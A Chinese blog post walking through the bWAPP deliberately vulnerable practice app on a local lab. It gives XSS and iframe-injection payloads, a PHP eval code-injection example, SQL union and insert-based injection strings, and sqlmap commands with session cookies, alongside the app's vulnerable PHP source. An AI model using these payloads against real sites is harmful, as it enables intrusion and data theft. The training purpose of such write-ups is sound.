【CTF】bWAPP

最新推荐文章于 2023-09-08 17:48:32 发布
最新推荐文章于 2023-09-08 17:48:32 发布
阅读量437 收藏 1
点赞数
分类专栏： CTF 文章标签： 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52923241/article/details/120378263
版权

bWAPP

HTML Injection - Reflected (GET)

low

在这里插入图片描述先随便输入，查看回显

在这里插入图片描述继续测试，输入First name:<p>111</p>; Last name:1
在这里插入图片描述
查看回显，说明代码被解析

尝试输入js代码First name:<script>alert(document.cookie)</script>; Last name:1

在这里插入图片描述出现弹窗，获得cookie

medium

尝试输入js代码First name:<script>alert(document.cookie)</script>; Last name:1
在这里插入图片描述可以看到没有被解析，查看源码发现尖括号被替换了
我们尝试将尖括号编码，输入%3cscript%3ealert(document.cookie)%3c/script%3e,弹窗成功
在这里插入图片描述

high

输入<script>alert(document.cookie)</script>,发现没有被解析
抓包查看，发现尖括号和圆括号均被编码了
在这里插入图片描述查看源码

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  
    
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
       
}

可以看到预定义的字符都被转换为实体，安全

HTML Injection - Reflected (POST)

与上一关一样，传参方式由GET改为POST

HTML Injection - Reflected (URL)

low

在这里插入图片描述
尝试在url中构造语句
在这里插入图片描述
尝试在URL栏里直接构造xss，可以看到<>尖括号被编码了
在这里插入图片描述
尝试通过抓包修改URL，成功
在这里插入图片描述

menium&high

查看源码

switch($_COOKIE["security_level"])
{

    case "0" :

        // $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_SERVER["REQUEST_URI"]);
        $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];               
        break;

    case "1" :

        $url = "<script>document.write(document.URL)</script>";
        break;

    case "2" :

        $url = "http://" . $_SERVER["HTTP_HOST"] . xss_check_3($_SERVER["REQUEST_URI"]);
        break;

    default :

        // $url = "http://" . $_SERVER["HTTP_HOST"] . urldecode($_SERVER["REQUEST_URI"]);
        $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];               
        break;

}

安全，无法绕过

HTML Injection - Stored (Blog)

low

随便输入，查看回显
在这里插入图片描述
输入<h1>111</h1>，查看回显，可以看到代码被解析了
在这里插入图片描述
输入<script>alert(document.cookie)</script>，成功弹窗，获得cookie
在这里插入图片描述

menium&&high

查看源码

    switch($_COOKIE["security_level"])
    {

        case "0" :

            $data = sqli_check_3($link, $data);
            break;

        case "1" :

            $data = sqli_check_3($link, $data);
            // $data = xss_check_4($data);
            break;

        case "2" :

            $data = sqli_check_3($link, $data);
            // $data = xss_check_3($data);
            break;

        default :

            $data = sqli_check_3($link, $data);
            break;

    }

function sqli_check_3($link, $data)
{
   
    return mysqli_real_escape_string($link, $data);
    
}

mysqli_real_escape_string（）转义sql语句中使用字符串中的特殊字符

iFrame Injection

IFRAME是HTML标签，作用是文档中的文档，或者浮动的框架(FRAME)。iframe元素会创建包含另外一个文档的内联框架（即行内框架）。

查看源码

function xss($data)
{

    switch($_COOKIE["security_level"])
    {

        case "0" :

            $data = no_check($data);      
            break;

        case "1" :

            $data = xss_check_4($data);
            break;

        case "2" :

            $data = xss_check_3($data);
            break;

        default :

            $data = no_check($data);
            break;   

    }

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  
    
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
       
}

function xss_check_4($data)
{
  
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!
    
    return addslashes($data);
    
}

low

在这里插入图片描述

直接修改ParamUrl：http://127.0.0.1/bWAPP/bWAPP/iframei.php?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250
在这里插入图片描述

menium

查看源码

function xss_check_4($data)
{
  
    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!
    
    return addslashes($data);

在php中，addslashes()函数是对输入字符串中的某些预定义字符前添加反斜杠；

if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{
?>
    <iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php

else
{
?>
    <iframe frameborder="0" src="<?php echo xss($_GET["ParamUrl"])?>" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}
?>

直接修改ParamUrl的值时，页面没反应，现在尝试从后面着手。根据上面的代码可猜测，在width后面插入</iframe>将前面的闭合，然后插入xss

http://127.0.0.1/bWAPP/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250"></iframe><script>alert(/xss/)</script>&ParamHeight=250
在这里插入图片描述

high

查看源码

function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  
    
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
       
}

htmlspecialchars会将预定义的字符（&,’,",<,>）转换为 HTML 实体，无法过滤，是安全的。

LDAP Connection Settings

low

PHP Code Injection

low

在这里插入图片描述

点击masage后，出现test
URL从http://127.0.0.1/bWAPP/bWAPP/phpi.php变成http://127.0.0.1/bWAPP/bWAPP/phpi.php?message=test,改变一下massage的值为：http://127.0.0.1/bWAPP/bWAPP/phpi.php?message=phpinfo()后出现PHP版本信息
在这里插入图片描述

<div id="main">

    <h1>PHP Code Injection</h1>

    <p>This is just a test page, reflecting back your <a href="<?php echo($_SERVER["SCRIPT_NAME"]);?>?message=test">message</a>...</p>
    
<?php

if(isset($_REQUEST["message"]))
{

    // If the security level is not MEDIUM or HIGH
    if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
    {

?>
    <p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
    //low级别直接输出massage

<?php

    }

    // If the security level is MEDIUM or HIGH
    else
    {
?>
    <p><i><?php echo htmlspecialchars($_REQUEST["message"], ENT_QUOTES, "UTF-8");;?></i></p>

<?php

    }

}

?>
</div>

查看源代码，发现low级别直接输出massage，menium或者high级别使用htmlspecialchars函数

SQL Injection (GET/Search)

low

' or 1=1 --
' order by 7 --
' union select1,2,3,4,5,6,7 --:2,3,4,5有回显
在这里插入图片描述

' union select 1,user(),database(),4,5,6,7 --
在这里插入图片描述

SQL Injection (GET/Select)

low

movie=1 and 1=1 &action=go回显正常
movie=1 and 1=2 &action=go报错
movie=1 order by 7 &action=go
movie=0 union select 1,2,3,4,5,6,7 &action=go,查看回显位置为2,3,4,5
在这里插入图片描述

movie=0 union select 1,user(),database(),4,5,6,7 &action=go
在这里插入图片描述

menium&high

查看源码

function sqli($data)
{
         
    switch($_COOKIE["security_level"])
    {
        
        case "0" : 
            
            $data = no_check($data);            
            break;
        
        case "1" :
            
            $data = sqli_check_2($data);
            break;
        
        default : 
            
            $data = no_check($data);            
            break;   

    }

function sqli_check_1($data)
{
   
    return addslashes($data);
    
}

function sqli_check_2($data)
{
   
    return mysql_real_escape_string($data);
    
}

整数型注入, 对于字符型注入的防御策略并不起作用:
同low

SQL Injection (POST/Search)

low

同SQL Injection (GET/Search)

menium&high

    switch($_COOKIE["security_level"])
    {

        case "0" :

            $data = no_check($data);
            break;

        case "1" :

            $data = sqli_check_1($data);
            break;

        case "2" :

            $data = sqli_check_2($data);
            break;

        default :

            $data = no_check($data);
            break;

    }

function sqli_check_1($data)
{
   
    return addslashes($data);
    
}

function sqli_check_2($data)
{
   
    return mysql_real_escape_string($data);
    
}

分别用了addslashes()和mysql_real_escape_string()函数防御:

SQL Injection (POST/Select)

low

在这里插入图片描述
movie=1 and 1=1 &action=go
movie=1 order by 7&action=go
movie=0 union select 1,2,3,4,5,6,7 &action=go
movie=0 union select 1,user(),database(),4,5,6,7 &action=go
在这里插入图片描述

SQL Injection (AJAX/JSON/jQuery)

简介

AJAX是一种用于创建快速动态网页的技术。通过在后台与服务器进行少量数据交换，AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下，对网页的某部分进行更新。
AJAX = 异步 JavaScript 和 XML

low

 <script>

        $("#title").keyup(function(){
            // Searches for a movie title
            var search = {title: $("#title").val()};

            // AJAX call
            $.getJSON("sqli_10-2.php", search, function(data){
                init_table();
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){
                    total++;
                    $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
                });
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });

SQL Injection - Stored (Blog)

存储型xss

low

  • 先尝试输入<h>11111</h>,发现有回显
    在这里插入图片描述

  • 尝试输入js语句<script>alert(/xss/)</script>
    成功跳出弹窗
    在这里插入图片描述

  • 查看源码，看到有以下三个参数
    在这里插入图片描述

  • 代码审计：

    if(isset($_POST["blog"]))//如果blog通过post传参后有值
        {

            $entry = sqli($_POST["entry"]);//此时传参进来的值赋给entry
            $owner = $_SESSION["login"];

            if($entry == "")
            {

                $message =  "<font color=\"red\">Please enter some text...</font>";

            }

            else
            {
				//此时新增加的三个blog的值(一一对应）
                $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";

                $recordset = $link->query($sql);

                if(!$recordset)
                {

                    die("Error: " . $link->error . "<br /><br />");

                }

                // Debugging
                // echo $sql;

                $message = "<font color=\"green\">The entry was added to our blog!</font>";

            }

        }

    burpsuite抓包，然后右键send to repeater
    给参数entry赋值为1'，看到有SQL的报错，说明这里是存在SQL注入的
    在这里插入图片描述注意这行代码$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
    尝试输入entry=1',(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))#&blog=add
    其中1'与之前的时间data()闭合； (select group_concat(table_name) from information_schema.tables where table_schema='bWAPP')是一个整体，赋值给entry； 这之后的一个右括号)与VALUES的左括号闭合，这个时候
    页面回显成功，说明注入成功，然后用#把后面的内容注释掉

medium&high

  • 查看源码，发现使用了addslashes()函数,所以不能使用""
    function sqli_check_2($data)
{
    return mysql_real_escape_string($data);
}
function sqli_check_3($link, $data)
{
    return mysqli_real_escape_string($link, $data);
}
  • 尝试输入<script>alert(/xss/)</script>,回显成功。

SQL Injection - Stored (SQLite)

查看sqlite语法点这里

low

尝试输入js语句<script>alert(/xss/)</script>，弹窗成功
在这里插入图片描述查看源代码

if(isset($_POST["entry_add"]))
        {

            $entry = sqli($_POST["entry"]);
            $owner = $_SESSION["login"];

            if($entry == "")
            {

                $message =  "<font color=\"red\">Please enter some text...</font>";

            }

            else
            {

                $db = new PDO("sqlite:".$db_sqlite);

                $sql = "SELECT max(id) as id FROM blog;";

                $recordset = $db->query($sql);

		$row = $recordset->fetch();

		$id = $row["id"];

                $sql = "INSERT INTO blog (id, date, entry, owner) VALUES (" . ++$id . ",'" . date('Y-m-d', time()) . "','" . $entry . "','" . $owner . "');";

		$db->exec($sql);

                $message = "<font color=\"green\">The entry was added to our blog!</font>";

            }

        }

SQL Injection - Stored (User-Agent)

low

在这里插入图片描述
点击download，可以查看日志
在这里插入图片描述
查看源码

$ip_address = $_SERVER["REMOTE_ADDR"];
$user_agent = $_SERVER["HTTP_USER_AGENT"];

// Writes the entry into the database
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";

$recordset = $link->query($sql);

if(!$recordset)
{

    die("Error: " . $link->error);

}

// Writes the entry into a text file
$line = "'" . date("y/m/d G.i:s", time()) . "', '" . $ip_address . "', '" . xss($user_agent) . "'" . "\r\n";     

$fp = fopen("logs/visitors.txt", "a");
fputs($fp, $line, 200);
fclose($fp);

// Selects all the records
$sql = "SELECT * FROM visitors ORDER by id DESC LIMIT 3";

$recordset = $link->query($sql);

if(!$recordset)
{

    die("Error: " . $link->error);

}

抓包，修改User-Agent
输入1',发现报错

在这里插入图片描述User-Agent:1',(select group_concat(table_name) from information_schema.tables where table_schema='bWAPP'))#

在这里插入图片描述

SQL Injection - Blind - Boolean-Based

low

布尔盲注
' or 1=1 #
在这里插入图片描述利用sqlmap工具的使用点这里

  • 先利用burpsuite获取cookie

  • 获取数据库信息：
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_4.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch --dbs
    在这里插入图片描述

  • 获取当前数据库名称
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_4.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch --current-db
    在这里插入图片描述

  • 查看数据库中的所有表
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_4.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch -D bwapp --tables
    在这里插入图片描述

  • 查看bwapp数据库的movies表中所有的字段
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_4.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch -D bwapp -T movies --columns
    在这里插入图片描述

  • 查看movies表中的id字段的所有信息
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_4.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch -D bwapp -T movies -C genre --dump
    (扫的时间太长，不扫了)

medium

使用addslashes()函数：

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

    单引号（'）
    双引号（"）
    反斜杠（\）
    NULL

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
	 所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。
     遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

安全

high

使用mysql_real_escape_string()函数：

转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响：
    \x00
    \n
    \r
    \
    '
    "
    \x1a

如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。

安全

SQL Injection - Blind - Time-Based

low

  • 获取数据库信息：
    python sqlmap.py -u "http://127.0.0.1/bWAPP/bWAPP/sqli_15.php?title=1&action=search" --cookie="BEEFHOOK=8aJKFt8lH6h0C2F82Cfa1nOVirkZOOMrDloijxhSls4gnWNGD0jAusg8SfXtS3nvuXJWFQjT2OI0j83Z; security_level=0; PHPSESSID=b5see3d6pc3mcm3pi5a0a4rnr5" --batch --dbs
    在这里插入图片描述
    利用sqlmap，跟上面步骤一样
吃_早餐
关注
专栏目录
bwapp通关教程
qq_45756971的博客
11-01 6405
** HTML Injection - Reflected (GET) ** low: 低级漏洞中，输入数据没有做校验 First name: <script>alert( 'xss' )</script> Last name: <script>alert( 'xss' )</script> 出现xss即为成功。 medium 和low一样，但发现被全部显示 抓包，会发现符号<>均被编码 0,1,2分别对应三个等级 找见对应的/bWAPP/bw
bwapp通关攻略
最新发布
m0_65150886的博客
09-09 705
alert('价格')
bwapp通关（全完结）
hxhxhxhxx的博客
10-20 1万+
bwapp/ A1 - Injection /HTML Injection - Reflected (GET)HTML Injection - Reflected (POST)HTML Injection - Reflected (Current URL)HTML Injection - Stored (Blog)iFrame InjectionLDAP Injection (Search)【待开化】 ---------------------- bWAPP v2.2 -----------------
bWAPP通关记录(A1)
qq_39670065的博客
08-16 1781
安装 这里使用的是phpstudy进行搭建的 先下载bWAPP 打开解压之后bWAPP目录下的admin中的settings.php 将数据库连接名和密码改为与phpmyadmin相同的，保存 浏览器访问 点击here 点击Login，默认密码bee/bug A1 - InjectionHTML Injection - Reflected (GET)HTML Injection - Reflected (POST)HTML Injection - Reflected (Current URL )H
全！CTF靶场、渗透实战靶场总结 (适合收藏)
热门推荐
Appleteachers的博客
05-20 3万+
CTF靶场、渗透实战靶场总结 (适合收藏) CTF靶场：CTF刷题，在校生备战CTF比赛，信安入门、提升自己、丰富简历之必备（一场比赛打出好成绩，可以让你轻松进大厂，如近期的美团杯）； 渗透实战靶场：挖洞、渗透实战（web、域、横向渗透），适合实战能力需要大幅度提升的同学。 目录 ▶0x01 CTF赛事发布网站 ▶0x02 CTF在线靶场 ▶0x03 漏洞靶场（本地搭建） ▶0x04 渗透实战靶场 0x01 CTF赛事发布网站 i春秋和XCTF社区经常会发布各类CTF赛事 i春秋: https://www.
ctf资源分享
Kepler-404的博客
06-11 767
分享一下tools常用的网站 ctf-wiki ：https://ctf-wiki.github.io/ctf-wiki/ bugkutools：https://tool.bugku.com/ 比较全的：https://www.toolnb.com/ 国外的：http://ctf.ssleye.com/ 看雪工具库：https://tools.pediy.com/ 看雪知识库：https://ww...
Buuctf-01
Usashi的博客
10-27 1325
Basic Linux Labs 参考链接 ssh -p 28309 root@node4.buuoj.cn -p指定端口，root为用户名，@后为ip地址 第一次连接需要输入yes ls ../ cat ../flag.txt flag{2a02935d-b864-48c0-850c-f8f4ef1e11cd} BUU LFI COURSE 1 <?php /** * Created by PhpStorm. * User: jinzhao * Date:.
《web安全攻防实战》——文件上传漏洞之实战学习篇
fairy1016的博客
09-15 1000
源码审计 将安全等级调整为high 尝试直接上传shell.php：失败 尝试修改文件后缀shell.php3：失败 可以看出是基于白名单，那么是否可以采用截断方式呢？ 不可以，我们要理解截断方式可以生效的根本原因是什么:是我们可以 分别控制 存储路径 及 文件名称,这样我们才可以实现通过文件名称校验的同时存储为php文件 1、进入容器内部 docker exec -it 容器id /bin/bash #进入容器内部 2、找到网站的web根目录 vim /etc/apache2/apache2.c
java猜数字游戏源码-awesome-vulnerable:可用作渗透测试实践实验室的易受攻击的应用程序和系统的精选列表
06-05
bWAPP 的自定义 Linux VM。 - CloudGoat 是 Rhino 安全实验室的“设计易受攻击”AWS 部署工具 - 一组网页，容易受到命令注入缺陷的影响。 - CryptOMG 是一个可配置的 CTF 风格的测试平台，它突出了加密实现中的常见...
bWAPP_intro.pdf
01-30
BWAPP靶场环境介绍PPT，bWAPP包含了100多个漏洞环境，几乎涵盖了所有的漏洞类型。
bWAPP通关记录(A3~xss)
qq_39670065的博客
08-16 1438
@[TOC](A3- Cross-Site Scripting (XSS)) Cross- Site Scripting - Reflected (GET) Cross-Site Scripting - Reflected (POST) Cross-Site Scripting - Reflected (JSON) Cross-Site Scripting - Reflected (AJAX/JSON) Cross-Site Scripting - Reflected (AJAX/XML) Cross-Si
bWAPP通关记录(A2)
qq_39670065的博客
08-15 1413
A2 - Broken Auth. & Session MgmtBroken Authentication - CAPTCHA Bypassin（失效的身份认证和会话管理）Broken Authentication - Forgotten FunctionBroken Authentication - Insecure Login FormsBroken Authentication - Logout ManagementBroken Authentication - Password Attack
web渗透--26--服务器端包含注入（SSI注入）
武天旭的博客
09-16 2813
1、漏洞描述： Web服务器通常允许开发人员在静态HTML页面内嵌入少量的动态代码，而无需处理全部的服务器端或客户端语言。这个特征称作：服务器端包含（SSI）。在SSI注入测试中，我们测试能否注入可由SSI机制解释的应用程序数据。该漏洞的成功利用允许攻击者在HTML页面中插入代码，甚至实施远程代码执行。
BWAPP搭建和通关（html部分）
h0ld1rs的博客
08-12 1023
docker搭建遇到的问题 数据库未建立 Connection failed: Unknown database 'bWAPP' 搭建完毕打开的时候，会提示这么个东西，我们只需要打开install.php就能成功建立 登录 默认用户名bee、密码bug HTML Injection - Reflected (GET) low 先说下htmli和xss的区别，xss插入的是js代码，htmli插入的则是html标签，我觉得原理是一样的，无非是细分了一下实现插入的代码之间的差别，htmli可以用于误导用户
网络安全入门篇：bwapp靶场通关（更新ing）
weicanglv3545的博客
08-12 3071
bwapp是一个覆盖范围非常广的漏洞靶场，非常适合初学者入门使用。 本篇文章中使用的bwapp是docker安装，因此有一些漏洞不能很好的支持。 如果想获得完整体验，可下载bee-box，一个预装了bwapp的Linux VM。...
BWAPP之SQL注入通关
qq_43665434的博客
04-17 2824
1、SQL injection(GET/search) low 输入单引号直接报错，说明有注入点 直接order by二分法得出主查询字段数为7 直接union注入，测出回显点为2，3，4，5 查数据库信息： 测出数据库名为bwapp，用户为root，版本为5.5.53 查询表名： 查询字段名： 查字段值： 没有难度。 medium 尝试多种方法都不行，看了一眼源码： 发现是用addslashes()进行转义的，尝试了下宽字节绕过，也不行。 看了下原来数据库采用的是urf8编码，本来想改成g..
bwapp靶场XSS通关教程
2301_77315080的博客
09-08 303
lowalert("152");alert("152");进行实体引用<img src=0 onerror="alert(1)">
20210113bwapp html inject 全难度通关详解
qq_45290991的博客
01-14 849
HTML注入类似于xss注入但又不是，因为他的威胁程度大于后者，它可以在HTML页面中嵌入如何可以执行的代码，实际上它是所有注入类代码漏洞的鼻祖 目录 HTML Injection - Reflected (GET) low medium high HTML Injection - Reflected (POST) HTML Injection - Reflected (URL) low medium high HTML Injection - Stored (Blog) low
CTF脚本ctf.py的技术要点解析
资源摘要信息:"ctf.rar_ctf" CTF（Capture The Flag，夺旗赛）是一种信息安全竞赛，通常包含多种类型的安全挑战题目，旨在考验参赛者在加密解密、二进制分析、网络攻防、逆向工程、取证分析、Web安全、密码学和编程...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值